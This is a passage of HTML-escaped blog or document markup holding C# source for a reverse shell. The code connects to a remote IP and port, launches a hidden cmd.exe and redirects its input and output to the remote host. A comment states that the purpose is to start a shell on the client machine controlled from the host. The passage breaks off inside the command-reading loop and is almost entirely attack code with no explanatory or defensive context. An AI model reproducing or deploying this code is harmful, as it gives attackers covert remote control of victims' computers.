&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if (port &amp;lt; 1 || port
&amp;gt; 65535) port = 80;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;} // Commandline has port number&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;else if(args.Length == 1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if(int.TryParse(args[0], out
port))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;// Port number 1 - 65535&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if (port &amp;lt; 1 || port
&amp;gt; 65535) port = 80;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if (port == 0) port = 80; // Use
default&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;try&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{ &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;// Connect to host&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;client = new TcpClient(ipAddress, port);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;Console.WriteLine(&quot;Connecting: &quot; + ipAddress + &quot;:&quot; +
port);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;catch(Exception ex)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;Console.WriteLine(&quot;Exception: &quot; + ex.Message);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;return;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;stream = client.GetStream();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;streamReader = new
StreamReader(stream);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;streamWriter = new
StreamWriter(stream);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;strInput = new StringBuilder();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;// Create and start a shell in the
client machine, redirect I/O to host machine&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p = new Process();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.FileName =
&quot;cmd.exe&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.CreateNoWindow = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.UseShellExecute =
false;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.RedirectStandardOutput
= true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.RedirectStandardInput =
true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StartInfo.RedirectStandardError =
true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.Start();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.StandardInput.AutoFlush = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;p.BeginOutputReadLine();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;while (true)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;try&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;string line =
streamReader.ReadLine();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

